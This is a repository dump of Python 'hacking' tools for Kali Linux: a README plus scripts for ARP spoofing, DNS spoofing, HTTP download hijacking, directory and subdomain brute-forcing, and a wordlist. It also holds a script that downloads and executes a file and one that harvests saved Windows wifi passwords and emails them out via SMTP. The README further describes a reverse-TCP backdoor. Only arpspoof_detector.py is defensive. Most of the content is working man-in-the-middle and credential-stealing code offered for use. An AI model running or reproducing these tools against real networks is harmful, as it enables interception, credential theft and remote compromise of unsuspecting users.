├── README.md
├── arp_spoof.py
├── arpspoof_detector.py
├── crawler.py
├── dns_spoof.py
├── download.py
├── execute_and_report.py
├── file_interceptor.py
├── files-and-dirs-wordlist.txt
├── listener.py
├── mac_changer.py
├── network_scanner.py
├── packet_sniffer.py
├── reverse_backdoor.py
├── spider.py
└── subdomains-wodlist.txt


/README.md:
--------------------------------------------------------------------------------
 1 | # Python_Hacking
 2 | 
 3 | Programs and Tools written in Python that are useful in hacking in Kali Linux.
 4 | 
 5 | Required: Kali Linux, Python2, scapy package, netfilterqueue
 6 | 
 7 |           pip install scapy
 8 |           
 9 |           pip install scapy-http
10 |           
11 |           pip install netfilterqueue
12 | 
13 | Contents:
14 |    1. mac_changer.py - A program that is used to change the MAC Address to ensure anonymity.
15 |       
16 |           Usage: python mac_changer.py -i [Interface] -m [new MAC Address]
17 |       
18 |    2. network_scanner.py - A program that uses target IP Address to get the target MAC Address under the same network.
19 |       
20 |           Usage: python network_scanner.py -t [Taget IP Address]
21 |       
22 |    3. arp_spoof.py - A program that functions exactly the same as arpspoof command in Kali Linux. It takes target ip address and gateway ip address as command line arguments.
23 |       
24 |           Usage: python arp_spoof.py -t [Target IP Address] -g [Gateway]
25 |      
26 |    4. packet_sniffer.py - A program that acts as MITM (Man In The Middle) to sniff/capture data through http layer such as url, username, password, etc. It must run with arp_spoof.py simultaneously.
27 |       
28 |           Usage: python arp_spoof.py -t [Target IP Address] -g [Gateway]
29 |                  python packet_sniffer.py -i [Interface]
30 |                  
31 |    5. dns_spoof.py - A program that acts as MITM (Man In The Middle) to intercept packets and store them in netfilterqueue and redirect target device to a certain IP Address.
32 |    
33 |           Usage: python dns_spoof.py -i [IP Address]
34 |           
35 |   6. file_interceptor.py - A program that hijacks target's HTTP request and modifies HTTP status code as well as HTTP response in order to redirect to user specified url.
36 |   
37 |           Usage: iptables -I FORWARD -j NFQUEUE --queue-num 0
38 |                  python arp_spoof.py -t [Target IP Address] -g [Gateway]
39 |                  python file_interceptor.py -r [Redirect URL]
40 |        
41 |   7. download.py - A program that download a file from input URL and save it to input destination location.
42 |   
43 |           Usage: python download.py -u [URL] -d [Destination loaction]
44 |           
45 |   8. reverse_backdoor.py - A backdoor program that allows hacker to execute simple commands on target device using reversed TCP. Need to change ip_address to your current IP Address in main code. It must be run in the target device locally, and thus social engineering or any other MITM attack should be used. It works in all environment that supports Python. listener.py only works when reverse_backdoor.py is running locally in target device.
46 |           
47 |   9. listener.py - A socket program that allows us to listen from the reverser_backdoor.py program.
48 |         
49 |            Usage: reverse_backdoor.py is running in target device
50 |                   python listener.py -i [IP Address]
51 |                   
52 |      Available commands in hacker's machine:
53 |           
54 |      1. Disable backdoor connection
55 |      
56 |                     exit
57 |      
58 |      2. Change working directory
59 | 
60 |                     cd [Destination directory]
61 |                    
62 |      3. Download/Read file from target device
63 |                     
64 |                     download [File]
65 |                     
66 |      4. Upload/Write file to traget device
67 |                     
68 |                     upload [File]
69 | 
70 |   10. crawler.py - A prgroam that can checks subdomains and directories of a web server given an url.
71 |   
72 |           Usage: python cralwer.py -u [URL]
73 |           
74 |   11. spider.py - A program that extracts all valid hyperlinks from a website given an url.
75 |           
76 |           Usage: python spider.py -u [URL]
77 | 
78 |   11. execute_and_report - A program that can send email to target computer and steal wifi password target is connected to
79 | 
80 |           Usage: python execute_and_report.py
81 |           
82 | code_injector.py, bypass_http.py, kelogger.py, malware_packing.py, vulnerability_scanner.py comming soon...
83 | 


--------------------------------------------------------------------------------
/arp_spoof.py:
--------------------------------------------------------------------------------
  1 | """
  2 | A program that functions exactly the same as arpspoof command in Kali Linux. 
  3 | It takes target ip address and gateway ip address as command line arguments.
  4 | 
  5 | ARP Spoofing: Tell router that I am victim device by sending victim device's 
  6 | IP Address, and tell victim device that I am router by sending router's IP
  7 | Address.
  8 | 
  9 | To become man in the middle, Tell router that I am victim device by sending 
 10 | victim device's MAC Address, and tell victim device that I am router by sending 
 11 | router's MAC Address.
 12 | 
 13 | Kali Linux tool: arpspoof
 14 |     e.g. arpspoof -i wlan0 -t [target ip address] [gateway]
 15 |          arpspoof -i wlan0 -t [gateway] [target ip address] 
 16 |          Run these two commands simultanesouly
 17 |          
 18 |          # since this computer is not a router, we need to enable port 
 19 |          forwarding so this computer is allowed to flow packets
 20 |          echo 1 > /proc/sys/net/ipv4/ip_forward
 21 | 
 22 | ARP Spoofing is possible:
 23 |     1. Clients accept reseponses even if they did not send a request
 24 |     2. Clients trsut response without any form of verification.
 25 | """
 26 | #!/usr/bin/env python
 27 | import optparse
 28 | import scapy.all as scapy
 29 | import time
 30 | import sys  # for Python2
 31 | 
 32 | 
 33 | def get_arguments():
 34 |     # Get command line arguments
 35 |     """
 36 |     Get the IP Address of target device and gateway.
 37 | 
 38 |     :return: IP Address of target device, new MAC Address
 39 |     :rtype: str, str
 40 |     """
 41 |     parser = optparse.OptionParser()
 42 | 
 43 |     # Get the IP Address of target device
 44 |     parser.add_option("-t", "--target", dest="target",
 45 |                       help="Target IP Address")
 46 |     # Get the IP Address of spoof device
 47 |     parser.add_option("-g", "--gateway", dest="gateway",
 48 |                       help="Gateway IP Address")
 49 | 
 50 |     (options, arguments) = parser.parse_args()
 51 | 
 52 |     # Code to handle error
 53 |     if not options.target:
 54 |         parser.error(
 55 |             "[-] Please specify an IP Address of target device,"
 56 |             " use --help for more info.")
 57 |     elif not options.gateway:
 58 |         parser.error(
 59 |             "[-] Please specify a Gateway IP Address"
 60 |             ", use --help for more info.")
 61 |     return options.target, options.gateway
 62 | 
 63 | 
 64 | def get_mac(ip_address):
 65 |     """
 66 |     Get the MAC Address of target device.
 67 | 
 68 |     :param ip_address: IP Address of target device
 69 |     :type ip_address: str
 70 |     :return: MAC Address of target device
 71 |     :rtype: str 
 72 |     """
 73 |     arp_request = scapy.ARP(pdst=ip_address)
 74 |     broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")  # ethernet object
 75 |     # final packet
 76 |     arp_request_broadcast = broadcast / arp_request
 77 | 
 78 |     # use srp function to send arp_request_broadcast packet and receive response
 79 |     answered_list = scapy.srp(arp_request_broadcast, timeout=1,
 80 |                               verbose=False)[0]
 81 | 
 82 |     return answered_list[0][1].hwsrc
 83 | 
 84 | 
 85 | def spoof(target_ip, spoof_ip):
 86 |     """
 87 |     ARP spoof device with target_ip from spoof _ip.
 88 |     
 89 |     :param target_ip: IP Address of target device
 90 |     :type target_ip: str
 91 |     :param spoof_ip: IP Address of router, i.e. gateway
 92 |     :type spoof_ip: str
 93 |     """
 94 |     target_mac = get_mac(target_ip)
 95 |     # set op to 2 since we want arp response not request
 96 |     # pdst: ip of target device (use network_scanner.py to find target's ip)
 97 |     # hwdst: MAC Address of target device
 98 |     # psrc: source field, ip of router
 99 |     packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
100 |     scapy.send(packet, verbose=False)
101 | 
102 | 
103 | def restore(destination_ip, source_ip):
104 |     """
105 |     Restore the packet when an error occured.
106 |     :param destination_ip: IP Address of target device
107 |     :type destination_ip: str
108 |     :param source_ip: Gateway IP Address
109 |     :type source_ip: str
110 |     """
111 |     destination_mac = get_mac(destination_ip)
112 |     source_mac = get_mac(source_ip)
113 |     packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac,
114 |                        psrc=source_ip, hwsrc=source_mac)
115 |     print(packet.show())
116 |     print(packet.summary())
117 | 
118 | 
119 | if __name__ == "__main__":
120 |     input_target, input_gateway = get_arguments()
121 |     sent_packets_count = 0
122 |     try:
123 |         while True:
124 |             spoof(input_target, input_gateway)
125 |             spoof(input_gateway, input_target)
126 |             sent_packets_count += 2
127 |             # Python2
128 |             print("\r[-] Packets sent: " + str(sent_packets_count)),
129 |             sys.stdout.flush()
130 | 
131 |             # Python3
132 |             # print("\r[-] Packets sent: " + str(sent_packets_count), end="")
133 |             time.sleep(2)
134 |     except KeyboardInterrupt:
135 |         print("[-] Detected CTRl + C ...... Quitting.")
136 |         restore(input_target, input_gateway)
137 |         restore(input_gateway, input_target)
138 | 


--------------------------------------------------------------------------------
/arpspoof_detector.py:
--------------------------------------------------------------------------------
 1 | import scapy.all as scapy
 2 | 
 3 | 
 4 | def get_mac(ip):
 5 |     arp_request = scapy.ARP(pdst=ip)
 6 |     broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
 7 |     arp_request_broadcast = broadcast / arp_request
 8 |     answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
 9 |     return answered_list[0][1].hwsrc
10 | 
11 | 
12 | def sniff(interface):
13 |     scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)
14 | 
15 | 
16 | def process_sniffed_packet(packet):
17 |     if packet.haslayer(scapy.ARP) and packet[scapy.ARP].op == 2:
18 |         try:
19 |             real_mac = get_mac(packet[scapy.ARP].psrc)
20 |             response_mac = packet[scapy.ARP].hwsre
21 | 
22 |             if real_mac != response_mac:
23 |                 print("[+] You are under arpspoof attack.")
24 |         except IndexError:
25 |             pass
26 | 
27 | 
28 | sniff("eth0")


--------------------------------------------------------------------------------
/crawler.py:
--------------------------------------------------------------------------------
 1 | """
 2 | A program that get datas from website.
 3 | 
 4 | Crawling directories:
 5 |     1. Directories inside the web root
 6 |     2. Can contain files or other directories
 7 |     
 8 | Discover hidden paths that admin does not want us to know
 9 | Analyse discovered paths to discover more paths
10 | 
11 | """
12 | import optparse
13 | import requests
14 | 
15 | 
16 | def get_arguments():
17 |     """
18 |     Get the url of a target website and the method that we want to use.
19 | 
20 |     :return: the url of a website, the method that we want to use
21 |     :rtype: str, str
22 |     """
23 |     parser = optparse.OptionParser()
24 | 
25 |     # Get the url
26 |     parser.add_option("-u", "--url", dest="url",
27 |                       help="URL of website")
28 | 
29 |     # Get method
30 |     parser.add_option("-m", "--method", dest="method",
31 |                       help="Method")
32 | 
33 |     (options, arguments) = parser.parse_args()
34 | 
35 |     # Code to handle error
36 |     if not options.url:
37 |         parser.error(
38 |             "[-] Please specify an url, use --help for more info.")
39 | 
40 |     if not options.method:
41 |         parser.error(
42 |             "[-] Please specify a method, use --help for more info.")
43 | 
44 |     return options.url, options.method
45 | 
46 | 
47 | def request(url):
48 |     """
49 |     Reqeust from url. 
50 |     :param url: url of website
51 |     :type url: str
52 |     :return: result of request
53 |     :rtype: obj
54 |     """
55 |     try:
56 |         return requests.get("http://" + url)
57 |     except requests.exceptions.ConnectionError:
58 |         pass
59 | 
60 | 
61 | def find_subdomain(url):
62 |     """
63 |     Find and print all submains of the web server specified in url.
64 |     :param url: URL of a website
65 |     :type url: str
66 |     """
67 |     with open("./subdomains-wodlist.txt", "r") as wordlist_file:
68 |         for line in wordlist_file:
69 |             word = line.strip()
70 |             test_url = word + "." + url
71 |             response = request(test_url)
72 |             if response:
73 |                 print("[+] Discovered subdomian --> " + test_url)
74 | 
75 | 
76 | def find_directories(url):
77 |     """
78 |     Find all directories inside the target web server.
79 |     :param url: URL of a website
80 |     :type url: str
81 |     """
82 |     with open("./files-and-dirs-wordlist.txt", "r") as wordlist_file:
83 |         for line in wordlist_file:
84 |             word = line.strip()
85 |             test_url = url + "/" + word
86 |             response = request(test_url)
87 |             if response:
88 |                 print("[+] Discovered URL --> " + test_url)
89 | 
90 | if __name__ == "__main__":
91 |     target_url, method = get_arguments()
92 |     if method:
93 |         if method == "subdomain":
94 |             find_subdomain(target_url)
95 |         if method == "directory":
96 |             find_directories(target_url)
97 | 


--------------------------------------------------------------------------------
/dns_spoof.py:
--------------------------------------------------------------------------------
  1 | """
  2 | A program that acts as MITM (Man In The Middle) to intercept packet.
  3 | 
  4 | Algorithm:
  5 |     1. Create a queue in hacker machine
  6 |     2. Trap packets inside the queue (request -> queue) so they won't be sent to 
  7 |        target machines directly
  8 |     3. Access and modify the queue 
  9 |     4. Send the modified packets as request to target machine
 10 |     5. Same way for response
 11 | 
 12 | Use iptables: program that allows us to modify route on the computer 
 13 |                (routing rule)
 14 |               linux command: iptables -I FORWARD -j NFQUEUE --queue-num 0
 15 | 
 16 | Caution: Running with arp_spoof.py at the same time. 
 17 | 
 18 | Required: netfilterqueue
 19 |           pip install netfilterqueue
 20 | """
 21 | import netfilterqueue
 22 | import subprocess
 23 | import optparse
 24 | import scapy.all as scapy
 25 | 
 26 | 
 27 | # redirct to ip address
 28 | ip = ""
 29 | 
 30 | # common websites
 31 | websites = ["www.google.com", "www.bing.com", "www.facebook.com",
 32 |             "wwww.baidu.com"]
 33 | 
 34 | 
 35 | def get_arguments():
 36 |     # Get command line arguments
 37 |     """
 38 |     Get the IP Address from user input.
 39 | 
 40 |     :return: the ip address that you want to redirect to
 41 |     :rtype: str
 42 |     """
 43 |     parser = optparse.OptionParser()
 44 | 
 45 |     # Get the name of intergace from user input
 46 |     parser.add_option("-i", "--ip", dest="ip",
 47 |                       help="ip address that you want to redirect to")
 48 | 
 49 |     (options, arguments) = parser.parse_args()
 50 | 
 51 |     # Code to handle error
 52 |     if not options.ip:
 53 |         parser.error(
 54 |             "[-] Please specify an ip address, use --help for more info.")
 55 |     return options.ip
 56 | 
 57 | 
 58 | def process_packet(packet):
 59 |     """
 60 |     Callback function that does DNS spoofing so that it redirects target to a 
 61 |     certain ip addrss
 62 |     
 63 |     :param packet: packet
 64 |     :type packet: packet
 65 |     """
 66 |     # convert packet to scapy packet
 67 |     scapy_packet = scapy.IP(packet.get_payload())
 68 | 
 69 |     # looking DNS response
 70 |     # DNSRR: DNS response, DNSRQ: DNS request
 71 |     if scapy_packet.haslayer(scapy.DNSRR):
 72 |         # qname: url
 73 |         qname = scapy_packet[scapy.DNSQR].qname
 74 |         for website in websites:
 75 |             if website in qname:
 76 |                 print("[+] Spoofing target")
 77 |                 # redirect to the ip that is specified in rdata
 78 |                 answer = scapy.DNSRR(rrname=qname, rdata=ip)
 79 |                 # modify answer part in DNS layer
 80 |                 scapy_packet[scapy.DNS].an = answer
 81 |                 scapy_packet[scapy.DNS].ancount = 1
 82 | 
 83 |                 # avoid corruption
 84 |                 del scapy_packet[scapy.IP].len
 85 |                 del scapy_packet[scapy.IP].chksum
 86 |                 del scapy_packet[scapy.UDP].chksum
 87 |                 del scapy_packet[scapy.UDP].len
 88 | 
 89 |                 packet.set_payload(str(scapy_packet))
 90 | 
 91 |                 break
 92 | 
 93 |         print(scapy_packet.show())
 94 | 
 95 |     # forward the packet to destination
 96 |     packet.accept()
 97 |     # cut the internet connection of the target client
 98 |     # i.e. not allowing the packet to reach destination
 99 |     # packet.drop()
100 | 
101 | 
102 | def use_iptables():
103 |     num_queue = 0
104 |     # local test:
105 |     # subprocess.call(["iptables", "-I", "OUTPUT", "-j",
106 |     # "NFQUEUE", "--queue-num", str(num_queue)])
107 |     # subprocess.call(["iptables", "-I", "INPUT", "-j",
108 |     # "NFQUEUE", "--queue-num", str(num_queue)])
109 | 
110 |     subprocess.call(["iptables", "-I", "FORWARD", "-j", "NFQUEUE",
111 |                      "--queue-num", str(num_queue)])
112 |     return num_queue
113 | 
114 | 
115 | if __name__ == "__main__":
116 |     ip = get_arguments()
117 |     try:
118 |         queue_number = use_iptables()
119 |         queue = netfilterqueue.NetfilterQueue()
120 | 
121 |         # connect or bind the queue to the queue that we created using iptables
122 |         # by giving queue number
123 |         queue.bind(queue_number, process_packet)
124 |         queue.run()
125 |     except KeyboardInterrupt:
126 |         # remove iptables rule
127 |         subprocess.call(["iptables", "--flush"])
128 | 


--------------------------------------------------------------------------------
/download.py:
--------------------------------------------------------------------------------
 1 | import requests
 2 | import subprocess
 3 | import optparse
 4 | 
 5 | 
 6 | def get_arguments():
 7 |     # Get command line arguments
 8 |     """
 9 |     Get the url of file and destination of downloaded file.
10 | 
11 |     :return: the url of file, destination of downloaded file.
12 |     :rtype: str, str
13 |     """
14 |     parser = optparse.OptionParser()
15 | 
16 |     # Get the name of intergace from user input
17 |     parser.add_option("-u", "--url", dest="url",
18 |                       help="URL of file")
19 |     # Get the new MAC Address
20 |     parser.add_option("-d", "--destination", dest="destination",
21 |                       help="Destination of downloaded file")
22 | 
23 |     (options, arguments) = parser.parse_args()
24 | 
25 |     # Code to handle error
26 |     if not options.url:
27 |         parser.error(
28 |             "[-] Please specify an url, use --help for more info.")
29 |     elif not options.destination:
30 |         parser.error(
31 |             "[-] Please specify a destination, use --help for more info.")
32 |     return options.url, options.destination
33 | 
34 | 
35 | def download_file(url, destination):
36 |     """
37 |     Download a file from url and store in destination.
38 |     
39 |     :param url: url of file that we want to download
40 |     :type url: str
41 |     :param destination: destination of downloaded file
42 |     :type destination: str
43 |     """
44 |     resp = requests.get(url)
45 |     with open(destination, "wb") as output:
46 |         output.write(resp.content)
47 | 
48 | 
49 | if __name__ == "__main__":
50 |     input_url, input_destination = get_arguments()
51 |     download_file(input_url, input_destination)
52 |     subprocess.Popen(input_destination, shell=True)
53 | 


--------------------------------------------------------------------------------
/execute_and_report.py:
--------------------------------------------------------------------------------
 1 | import subprocess, smtplib, re
 2 | 
 3 | 
 4 | def send_email(email, password, message):
 5 |     server = smtplib.SMTP("smtp.gamil.com", 587)
 6 |     server.starttls()
 7 |     server.login(email, password)
 8 |     server.sendmail(email, email, message)
 9 |     server.quit()
10 | 
11 | 
12 | # Sending email 
13 | 
14 | # command = "netsh wlan show profile UPC723762 key=clear"
15 | # result = subprocess.check_output(command, shell=True)
16 | # send_email("to@gmail.com", "password", result)
17 | 
18 | 
19 | # Getting network connected
20 | command = "netsh wlan show profile"
21 | networks = subprocess.check_output(command, shell=True)
22 | network_names_list = re.findall("(?:Profile\s*:\s().*)", networks)
23 | print(network_names_list)
24 | 
25 | # Stealing wifi password saved on the computer
26 | result = ""
27 | for network_name in network_names_list:
28 |     command = "netsh wlan show profile" + network_name + "key=clear"
29 |     current_result = subprocess.check_output(command, shell=True)
30 |     result += current_result
31 | send_email("to@gmail.com", "password", result)


--------------------------------------------------------------------------------
/file_interceptor.py:
--------------------------------------------------------------------------------
  1 | """
  2 | A program that can hijack target device's Downloads.
  3 | 
  4 | Modifying data in HTTP layer
  5 | 
  6 |     1. Edit requests and responses
  7 |     2. replace download requests
  8 |     3. Inject code (javascript/html)
  9 |     ...
 10 | """
 11 | import netfilterqueue
 12 | import optparse
 13 | import scapy.all as scapy
 14 | 
 15 | files = [".exe", ".app", ".pdf", ".doc", ".jpg", ".png", ".dmg"]
 16 | 
 17 | # HTTP request's ack number => response's sep number
 18 | # so the system know the response is corresponding to the request
 19 | ack_list = []
 20 | 
 21 | load = ""
 22 | 
 23 | 
 24 | def get_arguments():
 25 |     # Get command line arguments
 26 |     """
 27 |     Get the redirecting url from user input.
 28 | 
 29 |     :return: the url that you want target to redirect to
 30 |     :rtype: str
 31 |     """
 32 |     parser = optparse.OptionParser()
 33 | 
 34 |     # Get the name of intergace from user input
 35 |     parser.add_option("-r", "--redirect", dest="load",
 36 |                       help="ip address that you want to redirect to")
 37 | 
 38 |     (options, arguments) = parser.parse_args()
 39 | 
 40 |     # Code to handle error
 41 |     if not options.load:
 42 |         parser.error(
 43 |             "[-] Please specify an ip address, use --help for more info.")
 44 |     return options.load
 45 | 
 46 | 
 47 | def set_load(packet):
 48 |     """
 49 |     Set the load field in packet.
 50 | 
 51 |     :param packet: packet that we sinffed
 52 |     :type packet: packet
 53 |     :return: modified packet
 54 |     :rtype: packet
 55 |     """
 56 |     # HTTP status code: 3xx Redirection (redirect reqeuest to
 57 |     # somewhere else
 58 |     # 301 Moved Permanently: This and all future requests shoould
 59 |     # be directed to the given url
 60 |     load_str = "HTTP/1.1 301 Moved Permanently\nLocation: " + load + " \n\n"
 61 |     packet[
 62 |         scapy.Raw].load = load_str
 63 | 
 64 |     # avoid corruption
 65 |     del packet[scapy.IP].len
 66 |     del packet[scapy.IP].chksum
 67 |     del packet[scapy.TCP].chksum
 68 |     return packet
 69 | 
 70 | 
 71 | def process_pacet(packet):
 72 |     """
 73 |     Callback function that capture HTTP request and modify HTTP response so that
 74 |     it redirects target device to specified url.
 75 |     
 76 |     :param packet: sniffed packet
 77 |     :type packet: packet
 78 |     """
 79 |     scapy_packet = scapy.IP(packet.get_payload())
 80 |     # looking for RAW layer
 81 |     if scapy_packet.haslayer(scapy.Raw):
 82 |         # looking for TCP Layer
 83 |         # HTTP request
 84 |         if scapy_packet[scapy.TCP].dport == 80:
 85 |             # hijack downloading file and run custom code
 86 |             for file in files:
 87 |                 if file in scapy_packet[scapy.Raw].load:
 88 |                     print("[+] " + file + " Request")
 89 |                     # store request's ack number in ack_list
 90 |                     ack_list.append(scapy_packet[scapy.TCP].ack)
 91 |                     break
 92 | 
 93 |         # HTTP Resonse
 94 |         elif scapy_packet[scapy.TCP].sport == 80:
 95 |             # check if the response's seq contains number in our ack_list
 96 |             # then we know this is the response of a request that we are
 97 |             # interested in
 98 |             if scapy_packet[scapy.TCP].seq in ack_list:
 99 |                 ack_list.remove(scapy_packet[scapy.TCP].seq)
100 |                 print("[+] Replacing file")
101 |                 modified_packet = set_load(scapy_packet)
102 |                 packet.set_payload(str(modified_packet))
103 | 
104 |     packet.accept()
105 | 
106 | 
107 | if __name__ == "__main__":
108 |     load = get_arguments()
109 |     queue = netfilterqueue.NetfilterQueue()
110 |     queue.bind(0, process_pacet)
111 |     queue.run()
112 | 


--------------------------------------------------------------------------------
/files-and-dirs-wordlist.txt:
--------------------------------------------------------------------------------
   1 | 
   2 | .bash_history
   3 | .bashrc
   4 | .cache
   5 | .config
   6 | .cvs
   7 | .cvsignore
   8 | .forward
   9 | .git/HEAD
  10 | .history
  11 | .hta
  12 | .htaccess
  13 | .htpasswd
  14 | .listing
  15 | .listings
  16 | .mysql_history
  17 | .passwd
  18 | .perf
  19 | .profile
  20 | .rhosts
  21 | .sh_history
  22 | .ssh
  23 | .subversion
  24 | .svn
  25 | .svn/entries
  26 | .swf
  27 | .web
  28 | @
  29 | _
  30 | _adm
  31 | _admin
  32 | _ajax
  33 | _archive
  34 | _assets
  35 | _backup
  36 | _baks
  37 | _borders
  38 | _cache
  39 | _catalogs
  40 | _code
  41 | _common
  42 | _conf
  43 | _config
  44 | _css
  45 | _data
  46 | _database
  47 | _db_backups
  48 | _derived
  49 | _dev
  50 | _dummy
  51 | _files
  52 | _flash
  53 | _fpclass
  54 | _images
  55 | _img
  56 | _inc
  57 | _include
  58 | _includes
  59 | _install
  60 | _js
  61 | _layouts
  62 | _lib
  63 | _media
  64 | _mem_bin
  65 | _mm
  66 | _mmserverscripts
  67 | _mygallery
  68 | _net
  69 | _notes
  70 | _old
  71 | _overlay
  72 | _pages
  73 | _private
  74 | _reports
  75 | _res
  76 | _resources
  77 | _scriptlibrary
  78 | _scripts
  79 | _source
  80 | _src
  81 | _stats
  82 | _styles
  83 | _swf
  84 | _temp
  85 | _tempalbums
  86 | _template
  87 | _templates
  88 | _test
  89 | _themes
  90 | _tmp
  91 | _tmpfileop
  92 | _vti_aut
  93 | _vti_bin
  94 | _vti_bin/_vti_adm/admin.dll
  95 | _vti_bin/_vti_aut/author.dll
  96 | _vti_bin/shtml.dll
  97 | _vti_cnf
  98 | _vti_inf
  99 | _vti_log
 100 | _vti_map
 101 | _vti_pvt
 102 | _vti_rpc
 103 | _vti_script
 104 | _vti_txt
 105 | _www
 106 | ~adm
 107 | ~admin
 108 | ~administrator
 109 | ~amanda
 110 | ~apache
 111 | ~bin
 112 | ~ftp
 113 | ~guest
 114 | ~http
 115 | ~httpd
 116 | ~log
 117 | ~logs
 118 | ~lp
 119 | ~mail
 120 | ~nobody
 121 | ~operator
 122 | ~root
 123 | ~sys
 124 | ~sysadm
 125 | ~sysadmin
 126 | ~test
 127 | ~tmp
 128 | ~user
 129 | ~webmaster
 130 | ~www
 131 | 0
 132 | 00
 133 | 01
 134 | 02
 135 | 03
 136 | 04
 137 | 05
 138 | 06
 139 | 07
 140 | 08
 141 | 09
 142 | 1
 143 | 10
 144 | 100
 145 | 1000
 146 | 1001
 147 | 101
 148 | 102
 149 | 103
 150 | 11
 151 | 12
 152 | 123
 153 | 13
 154 | 14
 155 | 15
 156 | 1990
 157 | 1991
 158 | 1992
 159 | 1993
 160 | 1994
 161 | 1995
 162 | 1996
 163 | 1997
 164 | 1998
 165 | 1999
 166 | 1x1
 167 | 2
 168 | 20
 169 | 200
 170 | 2000
 171 | 2001
 172 | 2002
 173 | 2003
 174 | 2004
 175 | 2005
 176 | 2006
 177 | 2007
 178 | 2008
 179 | 2009
 180 | 2010
 181 | 2011
 182 | 2012
 183 | 2013
 184 | 2014
 185 | 21
 186 | 22
 187 | 2257
 188 | 23
 189 | 24
 190 | 25
 191 | 2g
 192 | 3
 193 | 30
 194 | 300
 195 | 32
 196 | 3g
 197 | 3rdparty
 198 | 4
 199 | 400
 200 | 401
 201 | 403
 202 | 404
 203 | 42
 204 | 5
 205 | 50
 206 | 500
 207 | 51
 208 | 6
 209 | 64
 210 | 7
 211 | 7z
 212 | 8
 213 | 9
 214 | 96
 215 | a
 216 | A
 217 | aa
 218 | aaa
 219 | abc
 220 | abc123
 221 | abcd
 222 | abcd1234
 223 | about
 224 | About
 225 | about_us
 226 | aboutus
 227 | about-us
 228 | AboutUs
 229 | abstract
 230 | abuse
 231 | ac
 232 | academic
 233 | academics
 234 | acatalog
 235 | acc
 236 | access
 237 | access.1
 238 | access_db
 239 | access_log
 240 | access_log.1
 241 | accessgranted
 242 | accessibility
 243 | access-log
 244 | access-log.1
 245 | accessories
 246 | accommodation
 247 | account
 248 | account_edit
 249 | account_history
 250 | accountants
 251 | accounting
 252 | accounts
 253 | accountsettings
 254 | acct_login
 255 | achitecture
 256 | acp
 257 | act
 258 | action
 259 | actions
 260 | activate
 261 | active
 262 | activeCollab
 263 | activex
 264 | activities
 265 | activity
 266 | ad
 267 | ad_js
 268 | adaptive
 269 | adclick
 270 | add
 271 | add_cart
 272 | addfav
 273 | addnews
 274 | addons
 275 | addpost
 276 | addreply
 277 | address
 278 | address_book
 279 | addressbook
 280 | addresses
 281 | addtocart
 282 | adlog
 283 | adlogger
 284 | adm
 285 | ADM
 286 | admin
 287 | Admin
 288 | ADMIN
 289 | admin.cgi
 290 | admin.php
 291 | admin.pl
 292 | admin_
 293 | admin_area
 294 | admin_banner
 295 | admin_c
 296 | admin_index
 297 | admin_interface
 298 | admin_login
 299 | admin_logon
 300 | admin1
 301 | admin2
 302 | admin3
 303 | admin4_account
 304 | admin4_colon
 305 | admin-admin
 306 | admin-console
 307 | admincontrol
 308 | admincp
 309 | adminhelp
 310 | admin-interface
 311 | administer
 312 | administr8
 313 | administracion
 314 | administrador
 315 | administrat
 316 | administratie
 317 | administration
 318 | Administration
 319 | administrator
 320 | administratoraccounts
 321 | administrators
 322 | administrivia
 323 | adminlogin
 324 | adminlogon
 325 | adminpanel
 326 | adminpro
 327 | admins
 328 | AdminService
 329 | adminsessions
 330 | adminsql
 331 | admintools
 332 | AdminTools
 333 | admissions
 334 | admon
 335 | ADMON
 336 | adobe
 337 | adodb
 338 | ads
 339 | adserver
 340 | adsl
 341 | adv
 342 | adv_counter
 343 | advanced
 344 | advanced_search
 345 | advancedsearch
 346 | advert
 347 | advertise
 348 | advertisement
 349 | advertisers
 350 | advertising
 351 | adverts
 352 | advice
 353 | adview
 354 | advisories
 355 | af
 356 | aff
 357 | affiche
 358 | affiliate
 359 | affiliate_info
 360 | affiliate_terms
 361 | affiliates
 362 | affiliatewiz
 363 | africa
 364 | agb
 365 | agency
 366 | agenda
 367 | agent
 368 | agents
 369 | aggregator
 370 | AggreSpy
 371 | ajax
 372 | ajax_cron
 373 | akamai
 374 | akeeba.backend.log
 375 | alarm
 376 | alarms
 377 | album
 378 | albums
 379 | alcatel
 380 | alert
 381 | alerts
 382 | alias
 383 | aliases
 384 | all
 385 | alltime
 386 | all-wcprops
 387 | alpha
 388 | alt
 389 | alumni
 390 | alumni_add
 391 | alumni_details
 392 | alumni_info
 393 | alumni_reunions
 394 | alumni_update
 395 | am
 396 | amanda
 397 | amazon
 398 | amember
 399 | analog
 400 | analyse
 401 | analysis
 402 | analytics
 403 | and
 404 | android
 405 | announce
 406 | announcement
 407 | announcements
 408 | annuaire
 409 | annual
 410 | anon
 411 | anon_ftp
 412 | anonymous
 413 | ansi
 414 | answer
 415 | answers
 416 | antibot_image
 417 | antispam
 418 | antivirus
 419 | anuncios
 420 | any
 421 | aol
 422 | ap
 423 | apac
 424 | apache
 425 | apanel
 426 | apc
 427 | apexec
 428 | api
 429 | apis
 430 | apl
 431 | apm
 432 | app
 433 | app_browser
 434 | app_browsers
 435 | app_code
 436 | app_data
 437 | app_themes
 438 | appeal
 439 | appeals
 440 | append
 441 | appl
 442 | apple
 443 | applet
 444 | applets
 445 | appliance
 446 | appliation
 447 | application
 448 | application.wadl
 449 | applications
 450 | apply
 451 | apps
 452 | AppsLocalLogin
 453 | AppsLogin
 454 | apr
 455 | ar
 456 | arbeit
 457 | arcade
 458 | arch
 459 | architect
 460 | architecture
 461 | archiv
 462 | archive
 463 | Archive
 464 | archives
 465 | archivos
 466 | arquivos
 467 | array
 468 | arrow
 469 | ars
 470 | art
 471 | article
 472 | articles
 473 | Articles
 474 | artikel
 475 | artists
 476 | arts
 477 | artwork
 478 | as
 479 | ascii
 480 | asdf
 481 | ashley
 482 | asia
 483 | ask
 484 | ask_a_question
 485 | askapache
 486 | asmx
 487 | asp
 488 | aspadmin
 489 | aspdnsfcommon
 490 | aspdnsfencrypt
 491 | aspdnsfgateways
 492 | aspdnsfpatterns
 493 | aspnet_client
 494 | asps
 495 | aspx
 496 | asset
 497 | assetmanage
 498 | assetmanagement
 499 | assets
 500 | at
 501 | AT-admin.cgi
 502 | atom
 503 | attach
 504 | attach_mod
 505 | attachment
 506 | attachments
 507 | attachs
 508 | attic
